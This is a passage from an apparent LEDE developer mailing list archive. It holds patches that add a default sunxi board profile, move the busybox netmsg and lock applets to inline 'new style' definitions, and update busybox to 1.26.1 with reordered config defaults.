+# Copyright (C) 2017 Yousong Zhou
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+define Profile/Default
+  NAME:=Default Profile (all drivers)
+  PACKAGES:= \
+	kmod-ata-core \
+	kmod-ata-sunxi \
+	kmod-brcmfmac \
+	kmod-rtc-sunxi \
+	kmod-rtl8192cu \
+	kmod-rtl8xxxu \
+	kmod-sun4i-emac \
+	rtl8188eu-firmware \
+	swconfig \
+	uboot-sunxi-all \
+	wpad-mini
+  PRIORITY := 1
+endef
+
+define Profile/Default/Description
+  Default profile with package set compatible with most boards.
+endef
+$(eval $(call Profile,Default))
-- 
2.6.4



From mkroken at gmail.com  Wed Jan  4 14:54:51 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Wed,  4 Jan 2017 23:54:51 +0100
Subject: [LEDE-DEV] [PATCH RFC 1/3] busybox: convert netmsg applet to "new
 style" applet definition
Message-ID: <1483570493-18139-1-git-send-email-mkroken@gmail.com>

The "new style" busybox applet approach moves all config
and build definitions related to  an applet to its .c file.

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
 .../busybox/patches/210-add_netmsg_util.patch      | 54 ++++++----------------
 1 file changed, 15 insertions(+), 39 deletions(-)

diff --git a/package/utils/busybox/patches/210-add_netmsg_util.patch b/package/utils/busybox/patches/210-add_netmsg_util.patch
index 2382698..d7b2ae7 100644
--- a/package/utils/busybox/patches/210-add_netmsg_util.patch
+++ b/package/utils/busybox/patches/210-add_netmsg_util.patch
@@ -1,46 +1,25 @@
---- a/include/applets.src.h
-+++ b/include/applets.src.h
-@@ -229,6 +229,7 @@ IF_MT(APPLET(mt, BB_DIR_BIN, BB_SUID_DRO
- IF_MV(APPLET(mv, BB_DIR_BIN, BB_SUID_DROP))
- IF_NAMEIF(APPLET(nameif, BB_DIR_SBIN, BB_SUID_DROP))
- IF_NC(APPLET(nc, BB_DIR_USR_BIN, BB_SUID_DROP))
-+IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
- IF_NETSTAT(APPLET(netstat, BB_DIR_BIN, BB_SUID_DROP))
- IF_NICE(APPLET(nice, BB_DIR_BIN, BB_SUID_DROP))
- IF_NOHUP(APPLET(nohup, BB_DIR_USR_BIN, BB_SUID_DROP))
---- a/networking/Config.src
-+++ b/networking/Config.src
-@@ -639,6 +639,12 @@ config FEATURE_IPCALC_LONG_OPTIONS
- 	help
- 	  Support long options for the ipcalc applet.
- 
-+config NETMSG
-+	bool "netmsg"
-+	default n
-+	help
-+	  simple program for sending udp broadcast messages
-+
- config NETSTAT
- 	bool "netstat"
- 	default y
---- a/networking/Kbuild.src
-+++ b/networking/Kbuild.src
-@@ -27,6 +27,7 @@ lib-$(CONFIG_IP)           += ip.o
- lib-$(CONFIG_IPCALC)       += ipcalc.o
- lib-$(CONFIG_NAMEIF)       += nameif.o
- lib-$(CONFIG_NC)           += nc.o
-+lib-$(CONFIG_NETMSG)       += netmsg.o
- lib-$(CONFIG_NETSTAT)      += netstat.o
- lib-$(CONFIG_NSLOOKUP)     += nslookup.o
- lib-$(CONFIG_NTPD)         += ntpd.o
 --- /dev/null
 +++ b/networking/netmsg.c
-@@ -0,0 +1,65 @@
+@@ -0,0 +1,76 @@
 +/*
 + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
 + *
 + * This is free software, licensed under the GNU General Public License v2.
 + */
++
++//config:config NETMSG
++//config:	bool "netmsg"
++//config:	default n
++//config:	help
++//config:	  simple program for sending udp broadcast messages
++
++//applet:IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
++
++//kbuild:lib-$(CONFIG_NETMSG) += netmsg.o
++
++//usage:#define netmsg_trivial_usage NOUSAGE_STR
++//usage:#define netmsg_full_usage ""
++
 +#include <sys/types.h>
 +#include <sys/socket.h>
 +#include <netinet/in.h>
@@ -50,9 +29,6 @@
 +#include <string.h>
 +#include "busybox.h"
 +
-+//usage:#define netmsg_trivial_usage NOUSAGE_STR
-+//usage:#define netmsg_full_usage ""
-+
 +#ifndef CONFIG_NETMSG
 +int main(int argc, char **argv)
 +#else
-- 
2.1.4



From mkroken at gmail.com  Wed Jan  4 14:54:52 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Wed,  4 Jan 2017 23:54:52 +0100
Subject: [LEDE-DEV] [PATCH RFC 2/3] busybox: convert lock applet to "new
 style" applet definitions
In-Reply-To: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
Message-ID: <1483570493-18139-2-git-send-email-mkroken@gmail.com>

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
 .../utils/busybox/patches/220-add_lock_util.patch  | 54 ++++++----------------
 1 file changed, 15 insertions(+), 39 deletions(-)

diff --git a/package/utils/busybox/patches/220-add_lock_util.patch b/package/utils/busybox/patches/220-add_lock_util.patch
index c60f5db..4e46b74 100644
--- a/package/utils/busybox/patches/220-add_lock_util.patch
+++ b/package/utils/busybox/patches/220-add_lock_util.patch
@@ -1,46 +1,25 @@
---- a/include/applets.src.h
-+++ b/include/applets.src.h
-@@ -196,6 +196,7 @@ IF_LN(APPLET_NOEXEC(ln, ln, BB_DIR_BIN,
- IF_LOAD_POLICY(APPLET(load_policy, BB_DIR_USR_SBIN, BB_SUID_DROP))
- IF_LOADFONT(APPLET(loadfont, BB_DIR_USR_SBIN, BB_SUID_DROP))
- IF_LOADKMAP(APPLET(loadkmap, BB_DIR_SBIN, BB_SUID_DROP))
-+IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
- IF_LOGNAME(APPLET_NOFORK(logname, logname, BB_DIR_USR_BIN, BB_SUID_DROP, logname))
- IF_LOSETUP(APPLET(losetup, BB_DIR_SBIN, BB_SUID_DROP))
- IF_LS(APPLET_NOEXEC(ls, ls, BB_DIR_BIN, BB_SUID_DROP, ls))
---- a/miscutils/Config.src
-+++ b/miscutils/Config.src
-@@ -375,6 +375,12 @@ config FEATURE_HDPARM_HDIO_GETSET_DMA
- 	help
- 	  Enables the 'hdparm -d' option to get/set using_dma flag.
- 
-+config LOCK
-+	bool "lock"
-+	default n
-+	help
-+	  Small utility for using locks in scripts
-+
- config MAKEDEVS
- 	bool "makedevs"
- 	default y
---- a/miscutils/Kbuild.src
-+++ b/miscutils/Kbuild.src
-@@ -33,6 +33,7 @@ lib-$(CONFIG_LAST)        += last.o
- endif
- 
- lib-$(CONFIG_LESS)        += less.o
-+lib-$(CONFIG_LOCK)        += lock.o
- lib-$(CONFIG_MAKEDEVS)    += makedevs.o
- lib-$(CONFIG_MAN)         += man.o
- lib-$(CONFIG_MICROCOM)    += microcom.o
 --- /dev/null
 +++ b/miscutils/lock.c
-@@ -0,0 +1,144 @@
+@@ -0,0 +1,155 @@
 +/*
 + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
 + *
 + * This is free software, licensed under the GNU General Public License v2.
 + */
++
++//config:config LOCK
++//config:	bool "lock"
++//config:	default n
++//config:	help
++//config:	  Small utility for using locks in scripts
++
++//applet:IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
++
++//kbuild:lib-$(CONFIG_LOCK) += lock.o
++
++//usage:#define lock_trivial_usage NOUSAGE_STR
++//usage:#define lock_full_usage ""
++
 +#include <sys/types.h>
 +#include <sys/file.h>
 +#include <sys/stat.h>
@@ -50,9 +29,6 @@
 +#include <stdio.h>
 +#include "busybox.h"
 +
-+//usage:#define lock_trivial_usage NOUSAGE_STR
-+//usage:#define lock_full_usage ""
-+
 +static int unlock = 0;
 +static int shared = 0;
 +static int waitonly = 0;
-- 
2.1.4



From mkroken at gmail.com  Wed Jan  4 14:54:53 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Wed,  4 Jan 2017 23:54:53 +0100
Subject: [LEDE-DEV] [PATCH RFC 3/3] busybox: update to 1.26.1
In-Reply-To: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
Message-ID: <1483570493-18139-3-git-send-email-mkroken@gmail.com>

Refresh patches, delete patches that have been applied upstream.

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
Size comparison (.ipk):
204975 busybox_1.25.1-2_mips_24kc.ipk
204682 busybox_1.26.1-1_mips_24kc.ipk

Compile-tested on mips/ar71xx and x86, runtime-tested on x86.

As is obvious from the diffstat there are a lot of */Config.in updates, lots
of symbols have moved around. It compiles and no issues are apparent from 
my testing, but I don't use many busybox features beyond what LEDE/LuCI 
makes use of on its own, so I'd appreciate some community feedback.

 package/utils/busybox/Config-defaults.in           | 1229 ++++++++++----------
 package/utils/busybox/Makefile                     |    6 +-
 package/utils/busybox/config/Config.in             |  315 ++---
 package/utils/busybox/config/archival/Config.in    |   78 +-
 .../utils/busybox/config/console-tools/Config.in   |  103 +-
 package/utils/busybox/config/coreutils/Config.in   |  603 +++++-----
 package/utils/busybox/config/findutils/Config.in   |   24 +-
 package/utils/busybox/config/init/Config.in        |   20 +-
 package/utils/busybox/config/libbb/Config.in       |  162 +++
 package/utils/busybox/config/mailutils/Config.in   |   18 +-
 package/utils/busybox/config/miscutils/Config.in   |  615 +++++-----
 package/utils/busybox/config/modutils/Config.in    |   73 +-
 package/utils/busybox/config/networking/Config.in  |  643 +++++-----
 .../busybox/config/networking/udhcp/Config.in      |    2 -
 package/utils/busybox/config/procps/Config.in      |  264 ++---
 package/utils/busybox/config/runit/Config.in       |    7 +
 package/utils/busybox/config/selinux/Config.in     |   37 +-
 package/utils/busybox/config/shell/Config.in       |  234 ++--
 package/utils/busybox/config/sysklogd/Config.in    |    1 -
 package/utils/busybox/config/util-linux/Config.in  |  598 +++++-----
 .../busybox/config/util-linux/volume_id/Config.in  |    9 +
 ...to_from-do-not-require-that-to-should-hav.patch |   37 -
 .../busybox/patches/102-trylink_mktemp_fix.patch   |   20 -
 .../patches/120-remove_uclibc_rpc_check.patch      |    2 +-
 .../busybox/patches/200-udhcpc_reduce_msgs.patch   |    4 +-
 .../patches/201-udhcpc_changed_ifindex.patch       |    2 +-
 .../patches/203-udhcpc_renew_no_deconfig.patch     |    2 +-
 .../utils/busybox/patches/240-telnetd_intr.patch   |    2 +-
 .../utils/busybox/patches/250-date-k-flag.patch    |   12 +-
 .../busybox/patches/302-netlink-alignment.patch    |  100 --
 .../patches/303-ip-route-fix-high-table-ids.patch  |  486 --------
 31 files changed, 2479 insertions(+), 3229 deletions(-)
 delete mode 100644 package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
 delete mode 100644 package/utils/busybox/patches/102-trylink_mktemp_fix.patch
 delete mode 100644 package/utils/busybox/patches/302-netlink-alignment.patch
 delete mode 100644 package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch

diff --git a/package/utils/busybox/Config-defaults.in b/package/utils/busybox/Config-defaults.in
index 11cce03..3a52211 100644
--- a/package/utils/busybox/Config-defaults.in
+++ b/package/utils/busybox/Config-defaults.in
@@ -16,15 +16,6 @@ config BUSYBOX_DEFAULT_USE_PORTABLE_CODE
 config BUSYBOX_DEFAULT_PLATFORM_LINUX
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
-	bool
-	default n
 config BUSYBOX_DEFAULT_SHOW_USAGE
 	bool
 	default y
@@ -43,45 +34,9 @@ config BUSYBOX_DEFAULT_FEATURE_INSTALLER
 config BUSYBOX_DEFAULT_INSTALL_NO_USR
 	bool
 	default n
-config BUSYBOX_DEFAULT_LOCALE_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
-	bool
-	default n
-config BUSYBOX_DEFAULT_SUBST_WCHAR
-	int
-	default 0
-config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
-	int
-	default 0
-config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
-	bool
-	default n
 config BUSYBOX_DEFAULT_PAM
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
-	bool
-	default n
 config BUSYBOX_DEFAULT_LONG_OPTS
 	bool
 	default y
@@ -163,6 +118,30 @@ config BUSYBOX_DEFAULT_EXTRA_LDFLAGS
 config BUSYBOX_DEFAULT_EXTRA_LDLIBS
 	string
 	default ""
+config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
+	bool
+	default y
+config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
+	bool
+	default n
+config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
+	bool
+	default n
+config BUSYBOX_DEFAULT_PREFIX
+	string
+	default "./_install"
 config BUSYBOX_DEFAULT_DEBUG
 	bool
 	default n
@@ -187,34 +166,19 @@ config BUSYBOX_DEFAULT_DMALLOC
 config BUSYBOX_DEFAULT_EFENCE
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
-	bool
-	default y
-config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
-	bool
-	default n
-config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
-	bool
-	default n
-config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
-	bool
-	default n
-config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
+config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
+config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
+config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
 	bool
 	default n
-config BUSYBOX_DEFAULT_PREFIX
-	string
-	default "./_install"
-config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
+config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
+	default y
+config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
 	bool
 	default n
 config BUSYBOX_DEFAULT_PASSWORD_MINLEN
@@ -268,12 +232,48 @@ config BUSYBOX_DEFAULT_FEATURE_EDITING_FANCY_PROMPT
 config BUSYBOX_DEFAULT_FEATURE_EDITING_ASK_TERMINAL
 	bool
 	default n
+config BUSYBOX_DEFAULT_LOCALE_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
+	bool
+	default n
+config BUSYBOX_DEFAULT_SUBST_WCHAR
+	int
+	default 0
+config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
+	int
+	default 0
+config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
+	bool
+	default n
+config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
 	bool
 	default y
 config BUSYBOX_DEFAULT_FEATURE_VERBOSE_CP_MESSAGE
 	bool
 	default n
+config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_COPYBUF_KB
 	int
 	default 4
@@ -319,24 +319,36 @@ config BUSYBOX_DEFAULT_UNCOMPRESS
 config BUSYBOX_DEFAULT_GUNZIP
 	bool
 	default y
+config BUSYBOX_DEFAULT_ZCAT
+	bool
+	default y
 config BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
 	bool
 	default n
 config BUSYBOX_DEFAULT_BUNZIP2
 	bool
 	default y
+config BUSYBOX_DEFAULT_BZCAT
+	bool
+	default y
 config BUSYBOX_DEFAULT_UNLZMA
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
+config BUSYBOX_DEFAULT_LZCAT
 	bool
 	default n
 config BUSYBOX_DEFAULT_LZMA
 	bool
 	default n
+config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
+	bool
+	default n
 config BUSYBOX_DEFAULT_UNXZ
 	bool
 	default n
+config BUSYBOX_DEFAULT_XZCAT
+	bool
+	default n
 config BUSYBOX_DEFAULT_XZ
 	bool
 	default n
@@ -358,9 +370,6 @@ config BUSYBOX_DEFAULT_DPKG
 config BUSYBOX_DEFAULT_DPKG_DEB
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
-	bool
-	default n
 config BUSYBOX_DEFAULT_GZIP
 	bool
 	default y
@@ -376,6 +385,12 @@ config BUSYBOX_DEFAULT_FEATURE_GZIP_LEVELS
 config BUSYBOX_DEFAULT_LZOP
 	bool
 	default n
+config BUSYBOX_DEFAULT_UNLZOP
+	bool
+	default n
+config BUSYBOX_DEFAULT_LZOPCAT
+	bool
+	default n
 config BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
 	bool
 	default n
@@ -427,9 +442,45 @@ config BUSYBOX_DEFAULT_UNZIP
 config BUSYBOX_DEFAULT_BASENAME
 	bool
 	default y
+config BUSYBOX_DEFAULT_CAL
+	bool
+	default n
 config BUSYBOX_DEFAULT_CAT
 	bool
 	default y
+config BUSYBOX_DEFAULT_CATV
+	bool
+	default n
+config BUSYBOX_DEFAULT_CHGRP
+	bool
+	default y
+config BUSYBOX_DEFAULT_CHMOD
+	bool
+	default y
+config BUSYBOX_DEFAULT_CHOWN
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
+	bool
+	default n
+config BUSYBOX_DEFAULT_CHROOT
+	bool
+	default y
+config BUSYBOX_DEFAULT_CKSUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_COMM
+	bool
+	default n
+config BUSYBOX_DEFAULT_CP
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
+	bool
+	default n
+config BUSYBOX_DEFAULT_CUT
+	bool
+	default y
 config BUSYBOX_DEFAULT_DATE
 	bool
 	default y
@@ -457,168 +508,81 @@ config BUSYBOX_DEFAULT_FEATURE_DD_IBS_OBS
 config BUSYBOX_DEFAULT_FEATURE_DD_STATUS
 	bool
 	default n
-config BUSYBOX_DEFAULT_HOSTID
-	bool
-	default n
-config BUSYBOX_DEFAULT_ID
+config BUSYBOX_DEFAULT_DF
 	bool
 	default y
-config BUSYBOX_DEFAULT_GROUPS
-	bool
-	default n
-config BUSYBOX_DEFAULT_SHUF
-	bool
-	default n
-config BUSYBOX_DEFAULT_STAT
+config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
+config BUSYBOX_DEFAULT_DIRNAME
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
+	default y
+config BUSYBOX_DEFAULT_DOS2UNIX
 	bool
 	default n
-config BUSYBOX_DEFAULT_SYNC
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
+config BUSYBOX_DEFAULT_UNIX2DOS
 	bool
 	default n
-config BUSYBOX_DEFAULT_TEST
+config BUSYBOX_DEFAULT_DU
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TEST_64
+config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
 	bool
 	default y
-config BUSYBOX_DEFAULT_TOUCH
+config BUSYBOX_DEFAULT_ECHO
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
+config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
 	bool
 	default y
-config BUSYBOX_DEFAULT_TR
+config BUSYBOX_DEFAULT_ENV
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
+config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
+config BUSYBOX_DEFAULT_EXPAND
 	bool
 	default n
-config BUSYBOX_DEFAULT_TRUNCATE
+config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_UNLINK
+config BUSYBOX_DEFAULT_UNEXPAND
 	bool
 	default n
-config BUSYBOX_DEFAULT_BASE64
+config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_WHO
+config BUSYBOX_DEFAULT_EXPR
 	bool
-	default n
-config BUSYBOX_DEFAULT_USERS
+	default y
+config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
 	bool
-	default n
-config BUSYBOX_DEFAULT_CAL
+	default y
+config BUSYBOX_DEFAULT_FALSE
 	bool
-	default n
-config BUSYBOX_DEFAULT_CATV
+	default y
+config BUSYBOX_DEFAULT_FOLD
 	bool
 	default n
-config BUSYBOX_DEFAULT_CHGRP
+config BUSYBOX_DEFAULT_FSYNC
 	bool
 	default y
-config BUSYBOX_DEFAULT_CHMOD
+config BUSYBOX_DEFAULT_HEAD
 	bool
 	default y
-config BUSYBOX_DEFAULT_CHOWN
+config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
+config BUSYBOX_DEFAULT_HOSTID
 	bool
 	default n
-config BUSYBOX_DEFAULT_CHROOT
+config BUSYBOX_DEFAULT_ID
 	bool
 	default y
-config BUSYBOX_DEFAULT_CKSUM
-	bool
-	default n
-config BUSYBOX_DEFAULT_COMM
-	bool
-	default n
-config BUSYBOX_DEFAULT_CP
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
-	bool
-	default n
-config BUSYBOX_DEFAULT_CUT
-	bool
-	default y
-config BUSYBOX_DEFAULT_DF
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
-	bool
-	default n
-config BUSYBOX_DEFAULT_DIRNAME
-	bool
-	default y
-config BUSYBOX_DEFAULT_DOS2UNIX
-	bool
-	default n
-config BUSYBOX_DEFAULT_UNIX2DOS
-	bool
-	default n
-config BUSYBOX_DEFAULT_DU
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
-	bool
-	default y
-config BUSYBOX_DEFAULT_ECHO
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
-	bool
-	default y
-config BUSYBOX_DEFAULT_ENV
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
-	bool
-	default n
-config BUSYBOX_DEFAULT_EXPAND
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
-	bool
-	default n
-config BUSYBOX_DEFAULT_EXPR
-	bool
-	default y
-config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
-	bool
-	default y
-config BUSYBOX_DEFAULT_FALSE
-	bool
-	default y
-config BUSYBOX_DEFAULT_FOLD
+config BUSYBOX_DEFAULT_GROUPS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FSYNC
-	bool
-	default y
-config BUSYBOX_DEFAULT_HEAD
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
-	bool
-	default y
 config BUSYBOX_DEFAULT_INSTALL
 	bool
 	default n
@@ -661,6 +625,21 @@ config BUSYBOX_DEFAULT_FEATURE_LS_COLOR_IS_DEFAULT
 config BUSYBOX_DEFAULT_MD5SUM
 	bool
 	default y
+config BUSYBOX_DEFAULT_SHA1SUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_SHA256SUM
+	bool
+	default y
+config BUSYBOX_DEFAULT_SHA512SUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_SHA3SUM
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
+	bool
+	default y
 config BUSYBOX_DEFAULT_MKDIR
 	bool
 	default y
@@ -718,16 +697,7 @@ config BUSYBOX_DEFAULT_FEATURE_RMDIR_LONG_OPTIONS
 config BUSYBOX_DEFAULT_SEQ
 	bool
 	default y
-config BUSYBOX_DEFAULT_SHA1SUM
-	bool
-	default n
-config BUSYBOX_DEFAULT_SHA256SUM
-	bool
-	default y
-config BUSYBOX_DEFAULT_SHA512SUM
-	bool
-	default n
-config BUSYBOX_DEFAULT_SHA3SUM
+config BUSYBOX_DEFAULT_SHUF
 	bool
 	default n
 config BUSYBOX_DEFAULT_SLEEP
@@ -751,12 +721,27 @@ config BUSYBOX_DEFAULT_SPLIT
 config BUSYBOX_DEFAULT_FEATURE_SPLIT_FANCY
 	bool
 	default n
+config BUSYBOX_DEFAULT_STAT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
+	bool
+	default n
 config BUSYBOX_DEFAULT_STTY
 	bool
 	default n
 config BUSYBOX_DEFAULT_SUM
 	bool
 	default n
+config BUSYBOX_DEFAULT_SYNC
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
+	bool
+	default n
 config BUSYBOX_DEFAULT_TAC
 	bool
 	default n
@@ -772,9 +757,42 @@ config BUSYBOX_DEFAULT_TEE
 config BUSYBOX_DEFAULT_FEATURE_TEE_USE_BLOCK_IO
 	bool
 	default y
+config BUSYBOX_DEFAULT_TEST
+	bool
+	default y
+config BUSYBOX_DEFAULT_TEST1
+	bool
+	default y
+config BUSYBOX_DEFAULT_TEST2
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TEST_64
+	bool
+	default y
+config BUSYBOX_DEFAULT_TOUCH
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
+	bool
+	default y
+config BUSYBOX_DEFAULT_TR
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
+	bool
+	default n
 config BUSYBOX_DEFAULT_TRUE
 	bool
 	default y
+config BUSYBOX_DEFAULT_TRUNCATE
+	bool
+	default n
 config BUSYBOX_DEFAULT_TTY
 	bool
 	default n
@@ -784,21 +802,21 @@ config BUSYBOX_DEFAULT_UNAME
 config BUSYBOX_DEFAULT_UNAME_OSNAME
 	string
 	default "GNU/Linux"
-config BUSYBOX_DEFAULT_UNEXPAND
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
-	bool
-	default n
 config BUSYBOX_DEFAULT_UNIQ
 	bool
 	default y
+config BUSYBOX_DEFAULT_UNLINK
+	bool
+	default n
 config BUSYBOX_DEFAULT_USLEEP
 	bool
 	default n
 config BUSYBOX_DEFAULT_UUDECODE
 	bool
 	default n
+config BUSYBOX_DEFAULT_BASE64
+	bool
+	default n
 config BUSYBOX_DEFAULT_UUENCODE
 	bool
 	default n
@@ -808,6 +826,12 @@ config BUSYBOX_DEFAULT_WC
 config BUSYBOX_DEFAULT_FEATURE_WC_LARGE
 	bool
 	default n
+config BUSYBOX_DEFAULT_WHO
+	bool
+	default n
+config BUSYBOX_DEFAULT_USERS
+	bool
+	default n
 config BUSYBOX_DEFAULT_WHOAMI
 	bool
 	default n
@@ -826,15 +850,9 @@ config BUSYBOX_DEFAULT_FEATURE_AUTOWIDTH
 config BUSYBOX_DEFAULT_FEATURE_HUMAN_READABLE
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
-	bool
-	default y
 config BUSYBOX_DEFAULT_CHVT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FGCONSOLE
-	bool
-	default n
 config BUSYBOX_DEFAULT_CLEAR
